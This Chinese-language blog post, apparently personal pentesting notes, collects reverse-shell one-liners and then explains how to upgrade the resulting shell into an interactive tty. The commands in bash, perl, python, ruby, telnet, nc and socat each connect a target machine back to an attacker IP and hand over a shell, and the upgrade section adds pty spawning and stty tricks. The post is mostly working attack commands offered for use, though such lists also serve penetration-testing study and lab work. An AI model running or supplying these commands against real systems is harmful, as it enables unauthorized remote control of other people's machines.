反弹shell&升级shell

反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.1.102/4444 0>&1'

perl -e 'use Socket;$i="192.168.1.102";$p=4555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

0<&196;exec 196<>/dev/tcp/192.168.1.102/4444; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/192.168.1.102/4443 0<&1 2>&1

telnet 192.168.1.102 4444 | /bin/bash | telnet 192.168.1.102 5555

nc -e /bin/bash 192.168.1.107 5556

这个方法需要安装的nc有-e这个选项,我的Ubuntu就没有,所以一开始打失败了,kali有,所以攻击与受害机就换了一下

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.102",5655));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.102:5655");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.102","5755");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

升级方法

为什么webshell反弹的 shell 无法交互 ?
我们能清晰的感受到,我在连接一台远程的 Linux 主机的时候,如果我使用的是 ssh 连接目标主机,在连接成功后,我可以使用 Tab 补全命令,可以使用 vim、nano,可以使用top,htop,并且当我按下 Ctrl+C组合按键时,只会结束前台运行的进程,不会结束掉整个 ssh 会话。

究其原因,是因为没有 tty 这么个东西。当然,tty,pty,pts,ptmx,console 这几者有什么区别,有兴趣的读者可以自行查阅相关资料,这里不再深讲,也可以看一下下面这一篇文章:The TTY demystified 译文:解密TTY

总结下来就是,我们提到的这些个命令,在执行的时候,需要获取当前上下文环境中的 tty, 并根据 tty 的大小,来处理输出和输出。而脚本语言默认执行系统命令时,是没有获取 tty 的。

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

方法1:

which python
python -c 'import pty;pty.spawn("/bin/bash")'

// 在pty shell里面
ctrl + z
[1]+ Stopped nc -nvlp 1234

// Kali Terminal
stty raw -echo

//出现在下一行 这时候输入东西 无法显示
fg

//连按两次 Enter

 这个时候已经可以用正常的指令了:上下切换命令,vim编辑,sudo,如果还要进一步可以运行这个,让这个终端与当前的kail终端适配

export TERM=xterm-256color  //注意大小写
stty rows 28 columns 86 // rows和columns看自己喜好。

方法2:

这样出来的只是有一个好看点的界面

python -c '__import__("pty").spawn("/bin/bash")' 

方法3:

用socket直接打出完全交换式shell

socat file:`tty`,raw,echo=0 tcp-listen:9999
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.102:9999

方法4:

在弹回来的 shell 下创建一个带有 tty 的 shell

script /dev/null 

参考链接

https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/

https://blog.csdn.net/weixin_43851945/article/details/104070423

https://ha.cker.in/index.php/Article/17748

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

https://www.cnblogs.com/liqiuhao/p/9031803.html

原文地址:https://www.cnblogs.com/chrysanthemum/p/15134933.html